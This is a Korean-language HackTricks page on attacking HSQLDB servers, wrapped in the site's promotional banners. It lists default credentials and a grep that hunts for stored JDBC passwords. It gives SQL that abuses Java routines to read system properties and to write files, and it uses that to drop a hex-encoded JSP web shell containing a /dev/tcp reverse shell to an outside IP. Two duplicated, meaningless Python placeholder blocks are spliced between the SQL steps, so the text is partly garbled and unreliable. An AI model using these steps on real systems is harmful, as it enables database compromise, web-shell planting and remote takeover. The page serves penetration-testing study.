htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
# 기본 정보
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**는 자바로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 이는 작고 빠른 멀티스레드 및 트랜잭션 데이터베이스 엔진을 제공하며 인메모리 및 디스크 기반 테이블을 지원하며 내장 및 서버 모드를 지원합니다.
**기본 포트:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# 정보
### 기본 설정
기본적으로 이 서비스는 메모리에서 실행되거나 로컬호스트에 바인딩되어 있을 가능성이 있습니다. 찾았다면, 아마도 다른 서비스를 공격하여 권한 상승을 시도하고 있을 것입니다.
기본 자격 증명은 일반적으로 비밀번호가 비어있는 `sa`입니다.
다른 서비스를 공격했다면, 가능한 자격 증명을 찾기 위해 검색하세요.
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
# 정보 수집
HSQLDB를 [다운로드](https://sourceforge.net/projects/hsqldb/files/)하고 `hsqldb/lib/hsqldb.jar`를 추출하여 DB 인스턴스에 연결합니다. `java -jar hsqldb.jar`를 사용하여 GUI 앱을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결합니다.
원격 시스템의 연결 URL은 다음과 같이 보일 것입니다: `jdbc:hsqldb:hsql://ip/DBNAME`.
# 트릭
## 자바 언어 루틴
HSQLDB에서 Java 언어 루틴을 사용하여 Java 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 응용 프로그램의 클래스 경로에 있어야 합니다.
JRT는 `함수` 또는 `프로시저`일 수 있습니다. 함수는 Java 메서드가 하나 이상의 SQL 호환 기본 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. `VALUES` 문을 사용하여 호출됩니다.
호출할 Java 메서드가 void를 반환하는 경우 `CALL` 문을 사용하여 호출해야 합니다.
## Java 시스템 속성 읽기
함수 생성:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
```python
def execute_function():
# Code to execute the function goes here
pass
```
```python
def execute_function():
# 함수를 실행하는 코드를 여기에 작성합니다
pass
```
```text
VALUES(getsystemproperty('user.name'))
```
[여기에서 시스템 속성 목록을 찾을 수 있습니다](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## 파일에 내용 작성하기
JDK에 위치한 `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` 자바 가젯을 사용하여 사용자 정의 절차를 통해 16진수로 인코딩된 항목을 디스크에 작성할 수 있습니다. **최대 크기는 1024바이트입니다**.
절차 생성:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
프로시저 실행:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.